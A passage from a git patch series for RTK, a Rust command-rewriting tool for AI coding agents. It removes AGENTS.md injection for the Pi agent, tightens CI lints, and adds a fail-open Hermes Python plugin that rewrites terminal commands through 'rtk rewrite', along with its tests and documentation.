.with_context(|| format!("Failed to read {}", agents_md_path.display()))?; - - if existing.contains(&block) { - if verbose > 0 { - eprintln!( - "Pi awareness already up to date: {}", - agents_md_path.display() - ); - } - return Ok(()); - } - - let updated = if PI_SENTINEL_RE.is_match(&existing) { - // Sentinels present but content differs (version bump) — replace in-place. - PI_SENTINEL_RE - .replace(&existing, format!("\n{}", block).as_str()) - .into_owned() - } else { - // No sentinels yet — append with a blank-line separator. - format!("{}\n\n{}", existing.trim_end(), block) - }; - - atomic_write(agents_md_path, &updated) - .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!("Updated Pi awareness: {}", agents_md_path.display()); - } - } else { - // File absent — create it containing only the awareness block. - atomic_write(agents_md_path, &block) - .with_context(|| format!("Failed to create {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!("Created Pi awareness: {}", agents_md_path.display()); - } - } - - Ok(()) -} - -/// Remove the RTK awareness sentinel block from an AGENTS.md file. -/// Returns true if a block was found and removed, false if absent or file missing. -fn remove_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result { - if !agents_md_path.exists() { - return Ok(false); - } - - let existing = fs::read_to_string(agents_md_path) - .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; - - if !PI_SENTINEL_RE.is_match(&existing) { - return Ok(false); - } - - let updated = PI_SENTINEL_RE.replace(&existing, "").into_owned(); - atomic_write(agents_md_path, updated.trim_end()) - .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!( - "Removed Pi awareness block from: {}", - agents_md_path.display() - ); - } - - Ok(true) -} - -/// Install the Pi extension and inject the awareness block into AGENTS.md. +/// Install the Pi extension (hook-only; no AGENTS.md injection). /// -/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` + `$PI_CODING_AGENT_DIR/AGENTS.md` -/// global=false → `.pi/extensions/rtk.ts` + `./AGENTS.md` -/// -/// AGENTS.md injection is skipped in global mode when the Pi config directory -/// did not previously exist (the user has not yet run `pi`). The extension is -/// still written so the user gets immediate coverage once they do initialise Pi. +/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` +/// global=false → `.pi/extensions/rtk.ts` pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { - let mut should_install_awareness = true; - let plugin_path = if global { let pi_dir = resolve_pi_dir()?; - // Capture existence *before* we create subdirectories. - let pi_dir_preexisting = pi_dir.exists(); - let path = pi_plugin_path(&pi_dir); if let Some(parent) = path.parent() { fs::create_dir_all(parent).with_context(|| { @@ -2045,11 +1914,6 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { ) })?; } - - if !pi_dir_preexisting { - should_install_awareness = false; - } - path } else { let path = pi_plugin_path_for_scope(false)?; @@ -2065,25 +1929,12 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { }; let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; - let agents_md_path = pi_agents_md_path_for_scope(global)?; - - if should_install_awareness { - install_pi_awareness(&agents_md_path, verbose)?; - print_pi_result(&plugin_path, Some(&agents_md_path), installed); - } else { - eprintln!( - "[rtk] Pi config directory not found ({}).\n\ - Extension installed but skipping AGENTS.md injection.\n\ - Create the directory or run `pi` once to initialise it.", - resolve_pi_dir()?.display() - ); - print_pi_result(&plugin_path, None, installed); - } + print_pi_result(&plugin_path, installed); Ok(()) } -fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: bool) { +fn print_pi_result(plugin_path: &Path, installed: bool) { let status = if installed { "installed" } else { @@ -2091,9 +1942,6 @@ fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: }; println!("RTK Pi extension {}:", status); println!(" Extension: {}", plugin_path.display()); - if let Some(p) = agents_md_path { - println!(" AGENTS.md: {}", p.display()); - } println!(); println!("Pi will load the extension automatically on next start."); println!("Verify: pi -e {} --no-session", plugin_path.display()); @@ -4287,28 +4135,18 @@ mod tests { } #[test] - fn test_run_pi_mode_global_injects_awareness() { + fn test_run_pi_mode_global_does_not_create_agents_md() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { run_pi_mode(true, 0).unwrap(); let agents_md = pi_dir.join(AGENTS_MD); - assert!(agents_md.exists(), "AGENTS.md must be created"); - - let content = fs::read_to_string(&agents_md).unwrap(); - assert!( - content.contains(PI_AWARENESS_START), - "AGENTS.md must contain sentinel start" - ); - assert!( - content.contains(PI_AWARENESS_END), - "AGENTS.md must contain sentinel end" - ); + assert!(!agents_md.exists(), "AGENTS.md must not be created"); }); } #[test] - fn test_run_pi_mode_global_skips_awareness_when_dir_absent() { + fn test_run_pi_mode_global_creates_plugin_when_dir_absent() { let tmp = TempDir::new().unwrap(); let absent_dir = tmp.path().join("no_such_pi_dir"); let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -4331,135 +4169,26 @@ mod tests { ); let agents_md = absent_dir.join(AGENTS_MD); - assert!( - !agents_md.exists(), - "AGENTS.md must not be created when Pi dir was absent" - ); - } - - #[test] - fn test_install_pi_awareness_appends_to_existing_file() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - fs::write(&path, "# Existing content\n").unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - - let content = fs::read_to_string(&path).unwrap(); - assert!(content.contains("# Existing content")); - assert!(content.contains(PI_AWARENESS_START)); - assert!(content.contains(PI_AWARENESS_END)); - } - - #[test] - fn test_install_pi_awareness_idempotent() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - - install_pi_awareness(&path, 0).unwrap(); - let content_after_first = fs::read_to_string(&path).unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - let content_after_second = fs::read_to_string(&path).unwrap(); - - assert_eq!( - content_after_first, content_after_second, - "second install must be a no-op" - ); - assert_eq!(content_after_second.matches(PI_AWARENESS_START).count(), 1); - } - - #[test] - fn test_install_pi_awareness_replaces_stale_block() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - - let stale = - format!("# Existing\n\n\nstale content\n"); - fs::write(&path, &stale).unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - - let content = fs::read_to_string(&path).unwrap(); - assert!( - !content.contains("stale content"), - "old block must be replaced" - ); - assert!( - content.contains(PI_AWARENESS_START), - "new sentinel must be present" - ); - assert_eq!(content.matches(" ") { @@ -1194,7 +1195,7 @@ fn filter_cargo_clippy(output: &str) -> String { // Sort warning rules by frequency let mut rule_counts: Vec<_> = by_rule.iter().collect(); - rule_counts.sort_by(|a, b| b.1.len().cmp(&a.1.len())); + rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); for (rule, locations) in rule_counts.iter().take(15) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); @@ -1632,10 +1633,22 @@ error[E0308]: mismatched types error: aborting due to 1 previous error "#; let result = filter_cargo_clippy(output); - assert!(result.contains("cargo clippy: 1 errors, 0 warnings"), "got: {}", result); - assert!(result.contains("error[E0308]: mismatched types"), "got: {}", result); + assert!( + result.contains("cargo clippy: 1 errors, 0 warnings"), + "got: {}", + result + ); + assert!( + result.contains("error[E0308]: mismatched types"), + "got: {}", + result + ); assert!(result.contains("src/main.rs:10:5"), "got: {}", result); - assert!(result.contains("expected `i32`, found `&str`"), "got: {}", result); + assert!( + result.contains("expected `i32`, found `&str`"), + "got: {}", + result + ); } #[test] diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index e147640ea5..6e37c15968 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -83,17 +83,13 @@ pub fn run(args: &[String], verbose: u8) -> Result { let user_args = args[start_idx..].to_vec(); match formatter.as_str() { - "black" => { - // Inject --check if not present for check mode - if !user_args.iter().any(|a| a == "--check" || a == "--diff") { - cmd.arg("--check"); - } + // Inject --check if not present for check mode + "black" if !user_args.iter().any(|a| a == "--check" || a == "--diff") => { + cmd.arg("--check"); } - "ruff" => { - // Add "format" subcommand if not present - if user_args.is_empty() || !user_args[0].starts_with("format") { - cmd.arg("format"); - } + // Add "format" subcommand if not present + "ruff" if user_args.is_empty() || !user_args[0].starts_with("format") => { + cmd.arg("format"); } _ => {} } diff --git a/src/discover/mod.rs b/src/discover/mod.rs index e1ff3a0807..36861406ba 100644 --- a/src/discover/mod.rs +++ b/src/discover/mod.rs @@ -228,7 +228,7 @@ pub fn run( .collect(); // Sort by estimated savings descending - supported.sort_by(|a, b| b.estimated_savings_tokens.cmp(&a.estimated_savings_tokens)); + supported.sort_by_key(|b| std::cmp::Reverse(b.estimated_savings_tokens)); let mut unsupported: Vec = unsupported_map .into_iter() @@ -240,7 +240,7 @@ pub fn run( .collect(); // Sort by count descending - unsupported.sort_by(|a, b| b.count.cmp(&a.count)); + unsupported.sort_by_key(|b| std::cmp::Reverse(b.count)); // Build RTK_DISABLED examples sorted by frequency (top 5) let rtk_disabled_examples: Vec = { diff --git a/src/hooks/hook_audit_cmd.rs b/src/hooks/hook_audit_cmd.rs index 2138ec939f..5fe339b940 100644 --- a/src/hooks/hook_audit_cmd.rs +++ b/src/hooks/hook_audit_cmd.rs @@ -143,7 +143,7 @@ pub fn run(since_days: u64, verbose: u8) -> Result<()> { if !skip_actions.is_empty() { let mut sorted_skips = skip_actions; - sorted_skips.sort_by(|a, b| b.1.cmp(&a.1)); + sorted_skips.sort_by_key(|b| std::cmp::Reverse(b.1)); for (action, count) in &sorted_skips { let reason = action.strip_prefix("skip:").unwrap_or(action); println!( diff --git a/src/learn/detector.rs b/src/learn/detector.rs index 81ebade847..867e035a6b 100644 --- a/src/learn/detector.rs +++ b/src/learn/detector.rs @@ -345,7 +345,7 @@ pub fn deduplicate_corrections(pairs: Vec) -> Vec Date: Sun, 10 May 2026 12:44:17 +0200 Subject: [PATCH 085/257] chore(ci): deny warnings and make clippy pass mandatory in ci --- .claude/agents/rust-rtk.md | 2 +- .claude/commands/tech/codereview.md | 12 ++++++------ .github/workflows/CICD.md | 15 +++++++-------- .github/workflows/ci.yml | 5 ++--- Cargo.toml | 4 ++++ 5 files changed, 20 insertions(+), 18 deletions(-) diff --git a/.claude/agents/rust-rtk.md b/.claude/agents/rust-rtk.md index 5adca48b91..4e86206e37 100644 --- a/.claude/agents/rust-rtk.md +++ b/.claude/agents/rust-rtk.md @@ -397,7 +397,7 @@ docker run --rm -v $(pwd):/rtk -w /rtk rust:latest cargo test # Linux via Docke ✅ **DO** compile regex once with `lazy_static!` ✅ **DO** verify token savings claims in tests (≥60%) ✅ **DO** test on macOS + Linux + Windows (via CI or manual) -✅ **DO** run `cargo fmt && cargo clippy && cargo test` before commit +✅ **DO** run `cargo fmt && cargo clippy --all-targets && cargo test` before commit ✅ **DO** benchmark startup time with `hyperfine` (<10ms target) ✅ **DO** use `anyhow::Result` with `.context()` for all error propagation diff --git a/.claude/commands/tech/codereview.md b/.claude/commands/tech/codereview.md index 35e92360d5..bcc58f0443 100644 --- a/.claude/commands/tech/codereview.md +++ b/.claude/commands/tech/codereview.md @@ -230,12 +230,12 @@ Glob tests/fixtures/_raw.txt └────────┬────────┘ │ ▼ - ┌──────────────────────┐ - │ 3. Quality gate │ - │ cargo fmt --all │ - │ cargo clippy │ - │ cargo test │ - └────────┬─────────────┘ + ┌─────────────────────────────┐ + │ 3. Quality gate │ + │ cargo fmt --all │ + │ cargo clippy --all-targets │ + │ cargo test │ + └──────────────┬──────────────┘ │ Loop ←┘ (max N iterations) ``` diff --git a/.github/workflows/CICD.md b/.github/workflows/CICD.md index b20e9cff6f..ad5deb0acc 100644 --- a/.github/workflows/CICD.md +++ b/.github/workflows/CICD.md @@ -10,17 +10,16 @@ Trigger: pull_request to develop or master └────────┬─────────┘ │ ┌────────▼─────────┐ - │ fmt │ + │ fmt --all │ └────────┬─────────┘ │ - ┌────────▼─────────┐ - │ clippy │ - │ -D unsafe_code │ - └┬───┬───┬───┬───┬─┘ + ┌───────────▼──────────┐ + │ clippy --all-targets │ + └───┬───┬───┬───┬───┬──┘ │ │ │ │ │ - ┌───────────────┘ │ │ │ └───────────────┐ - │ ┌───────────┘ │ └──────────┐ │ - ▼ ▼ ▼ ▼ ▼ + ┌───────────────┘ │ │ │ └────────────────┐ + │ ┌───────────┘ │ └───────────┐ │ + ▼ ▼ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌───────────┐ ┌─────────┐ ┌──────────┐ │ test │ │ security │ │ semgrep │ │benchmark│ │ doc │ │ ubuntu │ │ cargo │ │ AST-aware │ │ >=80% │ │ review │ diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b56acffad2..992dea78e6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -46,7 +46,7 @@ jobs: with: components: clippy - uses: Swatinem/rust-cache@v2 - - run: cargo clippy --all-targets -- -D unsafe_code + - run: cargo clippy --all-targets # ─── Parallel gates (all need code to compile) ─── @@ -220,7 +220,7 @@ jobs: - name: Install Go uses: actions/setup-go@v5 with: - go-version: 'stable' + go-version: "stable" - name: Install Go tools run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest @@ -228,7 +228,6 @@ jobs: - name: Run benchmark run: ./scripts/benchmark.sh - # ─── AI Doc Review: develop PRs only ─── doc-review: diff --git a/Cargo.toml b/Cargo.toml index 81cc9c1df4..726a01709c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -65,3 +65,7 @@ assets = [ assets = [ { source = "target/release/rtk", dest = "/usr/bin/rtk", mode = "755" }, ] + +[lints.rust] +unsafe_code = "deny" +warnings = "deny" From 9d3b99dec8516fd32071d151306b5bb6fd4d06e3 Mon Sep 17 00:00:00 2001 From: Kayphoon <109347466+Kayphoon@users.noreply.github.com> Date: Fri, 8 May 2026 05:40:41 +0800 Subject: [PATCH 086/257] feat(hermes): add rtk integration Signed-off-by: Kayphoon <109347466+Kayphoon@users.noreply.github.com> --- README.md | 8 +- .../guide/getting-started/supported-agents.md | 15 +- hooks/README.md | 18 +- hooks/hermes/README.md | 43 + hooks/hermes/rtk-rewrite/__init__.py | 80 ++ hooks/hermes/rtk-rewrite/plugin.yaml | 8 + hooks/hermes/tests/__init__.py | 0 hooks/hermes/tests/test_rtk_rewrite_plugin.py | 352 ++++++ src/discover/mod.rs | 1 + src/discover/provider.rs | 132 ++- src/discover/report.rs | 125 +- src/hooks/README.md | 3 +- src/hooks/constants.rs | 5 + src/hooks/hook_check.rs | 30 +- src/hooks/init.rs | 1029 ++++++++++++++++- src/main.rs | 94 +- 16 files changed, 1883 insertions(+), 60 deletions(-) create mode 100644 hooks/hermes/README.md create mode 100644 hooks/hermes/rtk-rewrite/__init__.py create mode 100644 hooks/hermes/rtk-rewrite/plugin.yaml create mode 100644 hooks/hermes/tests/__init__.py create mode 100644 hooks/hermes/tests/test_rtk_rewrite_plugin.py diff --git a/README.md b/README.md index d3ada2b142..a0db81d25c 100644 --- a/README.md +++ b/README.md @@ -110,12 +110,13 @@ rtk init --agent windsurf # Windsurf rtk init --agent cline # Cline / Roo Code rtk init --agent kilocode # Kilo Code rtk init --agent antigravity # Google Antigravity +rtk init --agent hermes # Hermes # 2. Restart your AI tool, then test git status # Automatically rewritten to rtk git status ``` -The hook transparently rewrites Bash commands (e.g., `git status` -> `rtk git status`) before execution. Claude never sees the rewrite, it just gets compressed output. +Hook-based agents rewrite Bash commands (e.g., `git status` -> `rtk git status`) before execution. Plugin-based agents, including Hermes, use their plugin API to rewrite commands before execution. The agent receives compact output without needing to call `rtk` explicitly. **Important:** the hook only runs on Bash tool calls. Claude Code built-in tools like `Read`, `Grep`, and `Glob` do not pass through the Bash hook, so they are not auto-rewritten. To get RTK's compact output for those workflows, use shell commands (`cat`/`head`/`tail`, `rg`/`grep`, `find`) or call `rtk read`, `rtk grep`, or `rtk find` directly. @@ -350,7 +351,7 @@ rtk git status ## Supported AI Tools -RTK supports 12 AI coding tools. Each integration transparently rewrites shell commands to `rtk` equivalents for 60-90% token savings. +RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. | Tool | Install | Method | |------|---------|--------| @@ -364,11 +365,12 @@ RTK supports 12 AI coding tools. Each integration transparently rewrites shell c | **Cline / Roo Code** | `rtk init --agent cline` | .clinerules (project-scoped) | | **OpenCode** | `rtk init -g --opencode` | Plugin TS (tool.execute.before) | | **OpenClaw** | `openclaw plugins install ./openclaw` | Plugin TS (before_tool_call) | +| **Hermes** | `rtk init --agent hermes` | Python plugin adapter (terminal command mutation via `rtk rewrite`) | | **Mistral Vibe** | Planned ([#800](https://github.com/rtk-ai/rtk/issues/800)) | Blocked on upstream | | **Kilo Code** | `rtk init --agent kilocode` | .kilocode/rules/rtk-rules.md (project-scoped) | | **Google Antigravity** | `rtk init --agent antigravity` | .agents/rules/antigravity-rtk-rules.md (project-scoped) | -For per-agent setup details, override controls, and graceful degradation, see the [Supported Agents guide](https://www.rtk-ai.app/guide/getting-started/supported-agents). +For per-agent setup details, override controls, and graceful degradation, see the [Supported Agents guide](https://www.rtk-ai.app/guide/getting-started/supported-agents). The Hermes plugin source and tests live in `hooks/hermes/`; installed Hermes runtime files still live under `~/.hermes/plugins/rtk-rewrite/`. ## Configuration diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 4623353d5e..561f9de151 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -1,6 +1,6 @@ --- title: Supported Agents -description: How to integrate RTK with Claude Code, Cursor, Copilot, Cline, Windsurf, Codex, OpenCode, Kilo Code, and Antigravity +description: How to integrate RTK with Claude Code, Cursor, Copilot, Cline, Windsurf, Codex, OpenCode, Hermes, Kilo Code, and Antigravity sidebar: order: 3 --- @@ -35,6 +35,7 @@ Agent runs "cargo test" | Gemini CLI | Rust binary (`BeforeTool`) | Yes | | OpenCode | TypeScript plugin (`tool.execute.before`) | Yes | | OpenClaw | TypeScript plugin (`before_tool_call`) | Yes | +| Hermes | Python plugin (`terminal` command mutation) | Yes | | Cline / Roo Code | Rules file (prompt-level) | N/A | | Windsurf | Rules file (prompt-level) | N/A | | Codex CLI | AGENTS.md instructions | N/A | @@ -92,6 +93,16 @@ openclaw plugins install ./openclaw Plugin in the `openclaw/` directory. Uses the `before_tool_call` hook, delegates to `rtk rewrite`. +### Hermes + +```bash +rtk init --agent hermes +``` + +Creates `~/.hermes/plugins/rtk-rewrite/` and enables it through `plugins.enabled` in the Hermes config. Hermes loads Python plugins, so the plugin entrypoint is Python, but it is only a thin adapter. It mutates the Hermes `terminal` tool `command` before execution and delegates all rewrite decisions to Rust through `rtk rewrite`. The repository source and tests for that adapter live in `hooks/hermes/`; only installed runtime files use the `~/.hermes/plugins/rtk-rewrite/` path. + +The plugin fails open. If `rtk` is missing at load time, the hook is not registered. If `rtk rewrite` errors, the tool is not `terminal`, the payload has no string `command`, or the plugin raises an exception, Hermes runs the original command unchanged. The same `rtk rewrite` limitations apply: already-prefixed `rtk` commands, compound shell commands, heredocs, and commands without filters are not rewritten. + ### Cline / Roo Code ```bash @@ -137,7 +148,7 @@ Support is blocked on upstream `BeforeToolCallback` ([mistral-vibe#531](https:// | Tier | Mechanism | How rewrites work | |------|-----------|------------------| | **Full hook** | Shell script or Rust binary, intercepts via agent API | Transparent — agent never sees the raw command | -| **Plugin** | TypeScript/JS in agent's plugin system | Transparent — in-place mutation | +| **Plugin** | TypeScript, JavaScript, or Python in agent's plugin system | Transparent, in-place mutation when the agent allows it | | **Rules file** | Prompt-level instructions | Guidance only — agent is told to prefer `rtk ` | Rules file integrations (Cline, Windsurf, Codex, Kilo Code, Antigravity) rely on the model following instructions. Full hook integrations (Claude Code, Cursor, Gemini) are guaranteed — the command is rewritten before the agent sees it. diff --git a/hooks/README.md b/hooks/README.md index 6a6744281d..0879de9bbb 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -4,7 +4,7 @@ **Deployed hook artifacts** — the actual files installed on user machines by `rtk init`. These are shell scripts, TypeScript plugins, and rules files that run outside the Rust binary. They are **thin delegates**: parse agent-specific JSON, call `rtk rewrite` as a subprocess, format agent-specific response. Zero filtering logic lives here. -Owns: per-agent hook scripts and configuration files for 7 supported agents (Claude Code, Copilot, Cursor, Cline, Windsurf, Codex, OpenCode). +Owns: per-agent hook scripts and configuration files for 8 supported agents (Claude Code, Copilot, Cursor, Cline, Windsurf, Codex, OpenCode, Hermes). Does **not** own: hook installation/uninstallation (that's `src/hooks/init.rs`), the rewrite pattern registry (that's `discover/registry`), or integrity verification (that's `src/hooks/integrity.rs`). @@ -40,6 +40,7 @@ Each agent subdirectory has its own README with hook-specific details: - **[`windsurf/`](windsurf/README.md)** — Rules file (prompt-level), `.windsurfrules` workspace-scoped - **[`codex/`](codex/README.md)** — Awareness document, `AGENTS.md` integration, `$CODEX_HOME` or `~/.codex/` location - **[`opencode/`](opencode/README.md)** — TypeScript plugin, `zx` library, `tool.execute.before` event, in-place mutation +- **[`hermes/`](hermes/README.md)** — Python plugin, `pre_tool_call` hook, in-place terminal command mutation ## Supported Agents @@ -54,6 +55,7 @@ Each agent subdirectory has its own README with hook-specific details: | Windsurf | Custom instructions (rules file) | Prompt-level guidance | N/A | | Codex CLI | AGENTS.md / instructions | Prompt-level guidance | N/A | | OpenCode | TypeScript plugin (`tool.execute.before`) | In-place mutation | Yes | +| Hermes | Python plugin (`pre_tool_call`) | In-place mutation | Yes | ## JSON Formats by Agent @@ -156,6 +158,17 @@ if (rewritten && rewritten !== command) { } ``` +### Hermes (Python Plugin) + +Mutates `args["command"]` in-place via the `pre_tool_call` hook: + +```python +result = subprocess.run(["rtk", "rewrite", command], capture_output=True, text=True, timeout=2) +rewritten = result.stdout.strip() +if result.returncode in {0, 3} and rewritten and rewritten != command: + args["command"] = rewritten +``` + ## Command Rewrite Registry The registry (`src/discover/registry.rs`) handles command patterns across these categories: @@ -217,7 +230,7 @@ New integrations must follow the [Exit Code Contract](#exit-code-contract) and [ | Tier | Mechanism | Maintenance | Examples | |------|-----------|-------------|----------| | **Full hook** | Shell script or Rust binary, intercepts commands via agent's hook API | High — must track agent API changes | Claude Code, Cursor, Copilot, Gemini | -| **Plugin** | TypeScript/JS plugin in agent's plugin system | Medium — agent manages loading | OpenCode | +| **Plugin** | TypeScript/JS/Python plugin in agent's plugin system | Medium — agent manages loading | OpenCode, Hermes | | **Rules file** | Prompt-level instructions the agent reads | Low — no code to break | Cline, Windsurf, Codex | ### Eligibility @@ -232,4 +245,3 @@ RTK supports AI coding assistants that developers actually use day-to-day. To ad ### Maintenance If an agent's API changes and the hook breaks, the integration should be updated promptly. If the agent becomes unmaintained or the hook can't be fixed, the integration may be deprecated with a release note. - diff --git a/hooks/hermes/README.md b/hooks/hermes/README.md new file mode 100644 index 0000000000..2a755c7106 --- /dev/null +++ b/hooks/hermes/README.md @@ -0,0 +1,43 @@ +# RTK Plugin for Hermes + +Rewrites Hermes `terminal` tool commands to RTK equivalents before execution, so Hermes receives compact command output without changing your workflow. + +## Installation + +```bash +rtk init --agent hermes +``` + +The installer writes the plugin to `~/.hermes/plugins/rtk-rewrite/` and enables it through `plugins.enabled` in the Hermes config. The repository copy lives in `hooks/hermes/`; don't use that repo path as the runtime install path. + +## Development + +Run the Hermes plugin tests from the repository root: + +```bash +python3 -m unittest discover -s hooks/hermes +``` + +## How it works + +Hermes loads plugins from Python, so the plugin entrypoint is Python. The Python code is only a thin Hermes adapter. It reads the Hermes terminal tool payload, calls `rtk rewrite` for the actual command decision, then mutates the terminal tool `command` before Hermes executes it. + +All rewrite rules stay in Rust inside `rtk rewrite`. When RTK adds or changes command rewrite behavior, the Hermes plugin picks up that behavior by delegating to the RTK binary. + +## Fail-open behavior + +The plugin does not block command execution. If anything goes wrong, Hermes runs the original command unchanged. + +If rtk is not available in PATH when Hermes loads the plugin, the plugin prints a warning and skips hook registration. + +- `rtk` is missing from `PATH` +- `rtk rewrite` exits with an error +- Hermes sends a non-terminal tool call +- The tool payload has no string `command` +- The plugin raises an unexpected exception + +## Limitations + +- Only Hermes `terminal` tool calls are rewritten. +- Commands skipped by `rtk rewrite` stay unchanged, including commands already prefixed with `rtk`, compound shell commands, heredocs, and commands without an RTK filter. +- Shell hooks are not used for Hermes command rewriting. The integration depends on Hermes loading Python plugins and passing a mutable terminal tool payload. diff --git a/hooks/hermes/rtk-rewrite/__init__.py b/hooks/hermes/rtk-rewrite/__init__.py new file mode 100644 index 0000000000..6dcf44e832 --- /dev/null +++ b/hooks/hermes/rtk-rewrite/__init__.py @@ -0,0 +1,80 @@ +"""Hermes plugin adapter for RTK command rewriting. + +All rewrite logic lives in RTK's Rust ``rtk rewrite`` command; this module +only bridges Hermes ``pre_tool_call`` payloads to that command and fails open. +""" + +import shutil +import subprocess +import sys + + +ACCEPTED_REWRITE_RETURN_CODES = {0, 3} +EXPECTED_PASSTHROUGH_RETURN_CODES = {1, 2} +_rtk_available = None +_rtk_missing_warned = False + + +def register(ctx): + """Register the Hermes pre-tool callback.""" + if not _check_rtk(): + return + + ctx.register_hook("pre_tool_call", _pre_tool_call) + + +def _check_rtk(): + """Return whether the rtk binary is in PATH, warning once when missing.""" + global _rtk_available, _rtk_missing_warned + + if _rtk_available is None: + _rtk_available = shutil.which("rtk") is not None + + if not _rtk_available and not _rtk_missing_warned: + _warn("rtk binary not found in PATH; Hermes hook not registered") + _rtk_missing_warned = True + + return _rtk_available + + +def _pre_tool_call(tool_name=None, args=None, **_kwargs): + """Rewrite mutable Hermes terminal command args when RTK provides a change.""" + try: + if tool_name != "terminal" or not isinstance(args, dict): + return + + command = args.get("command") + if not isinstance(command, str) or not command.strip(): + return + + try: + result = subprocess.run( + ["rtk", "rewrite", command], + shell=False, + timeout=2, + capture_output=True, + text=True, + ) + except subprocess.TimeoutExpired: + _warn("rtk rewrite timed out") + return + + if result.returncode not in ACCEPTED_REWRITE_RETURN_CODES: + if result.returncode not in EXPECTED_PASSTHROUGH_RETURN_CODES: + details = f"rtk rewrite failed with exit {result.returncode}" + stderr = result.stderr.strip() + if stderr: + details = f"{details}: {stderr}" + _warn(details) + return + + rewritten = result.stdout.strip() + if rewritten and rewritten != command: + args["command"] = rewritten + except Exception as e: + _warn(str(e)) + return + + +def _warn(message): + print(f"rtk: hermes plugin warning: {message}", file=sys.stderr) diff --git a/hooks/hermes/rtk-rewrite/plugin.yaml b/hooks/hermes/rtk-rewrite/plugin.yaml new file mode 100644 index 0000000000..7a08e40b54 --- /dev/null +++ b/hooks/hermes/rtk-rewrite/plugin.yaml @@ -0,0 +1,8 @@ +name: rtk-rewrite +version: "0.1.0" +description: Rewrite Hermes terminal commands through RTK before execution. +author: RTK Contributors +hooks: + - pre_tool_call +provides_hooks: + - pre_tool_call diff --git a/hooks/hermes/tests/__init__.py b/hooks/hermes/tests/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/hooks/hermes/tests/test_rtk_rewrite_plugin.py b/hooks/hermes/tests/test_rtk_rewrite_plugin.py new file mode 100644 index 0000000000..1434262466 --- /dev/null +++ b/hooks/hermes/tests/test_rtk_rewrite_plugin.py @@ -0,0 +1,352 @@ +import io +import importlib.util +import os +import shutil +import stat +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path +from unittest import mock + + +PLUGIN_PATH = Path(__file__).resolve().parents[1] / "rtk-rewrite" / "__init__.py" + + +class FakeContext: + def __init__(self): + self.hooks = {} + + def register_hook(self, hook_name, callback): + self.hooks[hook_name] = callback + + +class FakeCompletedProcess: + def __init__(self, returncode=0, stdout="", stderr=""): + self.returncode = returncode + self.stdout = stdout + self.stderr = stderr + + +def load_plugin_module(path=PLUGIN_PATH, module_name="rtk_rewrite_plugin"): + spec = importlib.util.spec_from_file_location(module_name, path) + if spec is None or spec.loader is None: + raise ImportError(f"Unable to load Hermes plugin from {path}") + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def write_fake_rtk(bin_dir): + fake_rtk = bin_dir / "rtk" + fake_rtk.write_text( + "\n".join( + [ + f"#!{sys.executable}", + "import sys", + "if sys.argv[1:] == ['rewrite', 'git status']:", + " print('rtk git status')", + " raise SystemExit(0)", + "print('unexpected rtk args:', sys.argv[1:], file=sys.stderr)", + "raise SystemExit(1)", + "", + ] + ) + ) + fake_rtk.chmod(fake_rtk.stat().st_mode | stat.S_IXUSR) + return fake_rtk + + +class RtkRewritePluginTest(unittest.TestCase): + def load_callback(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + ctx = FakeContext() + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk"): + module.register(ctx) + + self.assertIn("pre_tool_call", ctx.hooks) + return module, ctx.hooks["pre_tool_call"] + + def test_missing_rtk_skips_registering_pre_tool_call(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + ctx = FakeContext() + + with mock.patch.object(module.shutil, "which", return_value=None): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + module.register(ctx) + + self.assertNotIn("pre_tool_call", ctx.hooks) + self.assertEqual( + "rtk: hermes plugin warning: rtk binary not found in PATH; Hermes hook not registered\n", + stderr.getvalue(), + ) + + def test_missing_rtk_warns_only_once(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value=None): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + self.assertFalse(module._check_rtk()) + self.assertFalse(module._check_rtk()) + + self.assertEqual( + "rtk: hermes plugin warning: rtk binary not found in PATH; Hermes hook not registered\n", + 